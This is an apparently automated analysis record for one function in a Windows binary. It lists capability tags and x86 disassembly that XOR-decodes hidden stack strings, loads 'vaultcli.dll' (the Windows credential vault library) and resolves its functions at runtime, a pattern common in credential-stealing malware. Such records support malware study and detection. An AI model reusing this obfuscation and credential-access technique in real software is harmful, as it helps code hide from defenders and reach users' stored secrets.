Function at 0x43ba00
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
cmp byte [0x535eb2], 0
push esi
jne 0x43bc57
mov dword [ebp - 0xe], 0x465c4951
xor ecx, ecx
mov dword [ebp - 0xa], 0x47414f5f
mov dword [ebp - 6], 0x5e5d5401
mov word [ebp - 2], 0x100
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 0xe], al
inc ecx
cmp ecx, 0xc
jb 0x43ba31
lea eax, [ebp - 0xe]
mov byte [ebp - 1], 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, eax
mov dword [0x535e98], edx
test edx, edx
je 0x43bc57
movaps xmm0, xmmword [0x525b10]
xor ecx, ecx
movups xmmword [ebp - 0x39], xmm0
mov dword [ebp - 0x29], 0x4a5552
mov byte [ebp - 0x25], 1
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 0x39], al
inc ecx
cmp ecx, 0x13
jb 0x43ba74
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x39]
push eax
push edx
mov byte [ebp - 0x25], 0
call esi
movaps xmm0, xmmword [0x526270]
xor ecx, ecx
mov dword [0x535eb4], eax
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0x494d5442
mov word [ebp - 0x10], 0x100
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0x14
jb 0x43bab1
lea eax, [ebp - 0x24]
mov byte [ebp - 0xf], 0
push eax
push dword [0x535e98]
call esi
mov dword [0x535eac], eax
xor ecx, ecx
mov dword [ebp - 0xb], 0x465c4971
mov dword [ebp - 7], 0x4b5f6a5f
mov word [ebp - 3], 0x4a
mov byte [ebp - 1], 1
nop dword [eax]
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 0xb], al
inc ecx
cmp ecx, 9
jb 0x43baf0
lea eax, [ebp - 0xb]
mov byte [ebp - 1], 0
push eax
push dword [0x535e98]
call esi
mov dword [0x535ea4], eax
xor ecx, ecx
mov dword [ebp - 0x1e], 0x465c4971
mov dword [ebp - 0x1a], 0x4b5d635f
mov dword [ebp - 0x16], 0x47506641
mov dword [ebp - 0x12], 0x100405f
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 0xe
jb 0x43bb30
lea eax, [ebp - 0x1e]
mov byte [ebp - 0xf], 0
push eax
push dword [0x535e98]
call esi
movaps xmm0, xmmword [str.qIF_oAAUgSFXA]
xor ecx, ecx
mov dword [0x535e94], eax
movups xmmword [ebp - 0x35], xmm0
mov byte [ebp - 0x25], 1
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 0x35], al
inc ecx
cmp ecx, 0xf
jb 0x43bb63
lea eax, [ebp - 0x35]
mov byte [ebp - 0x25], 0
push eax
push dword [0x535e98]
call esi
mov dword [0x535ea8], eax
xor ecx, ecx
mov dword [ebp - 0xe], 0x465c4971
mov dword [ebp - 0xa], 0x5a486b5f
mov dword [ebp - 6], 0x5f544466
mov word [ebp - 2], 0x100
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 0xe], al
inc ecx
cmp ecx, 0xc
jb 0x43bba2
lea eax, [ebp - 0xe]
mov byte [ebp - 1], 0
push eax
push dword [0x535e98]
call esi
mov dword [0x535ea0], eax
xor ecx, ecx
mov dword [ebp - 0x1c], 0x465c4971
mov dword [ebp - 0x18], 0x5a486b5f
mov dword [ebp - 0x14], 0x5f544466
mov word [ebp - 0x10], 0x100
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 0xc
jb 0x43bbe1
lea eax, [ebp - 0x1c]
mov byte [ebp - 0xf], 0
push eax
push dword [0x535e98]
call esi
cmp dword [0x535eb4], 0
mov dword [0x535ebc], eax
je 0x43bc4b
cmp dword [0x535eac], 0
je 0x43bc4b
cmp dword [0x535ea4], 0
je 0x43bc4b
cmp dword [0x535e94], 0
je 0x43bc4b
cmp dword [0x535ea8], 0
je 0x43bc4b
cmp dword [0x535ea0], 0
je 0x43bc4b
test eax, eax
je 0x43bc4b
mov byte [0x535eb2], 1
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
push dword [0x535e98]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
pop esi
mov esp, ebp
pop ebp
ret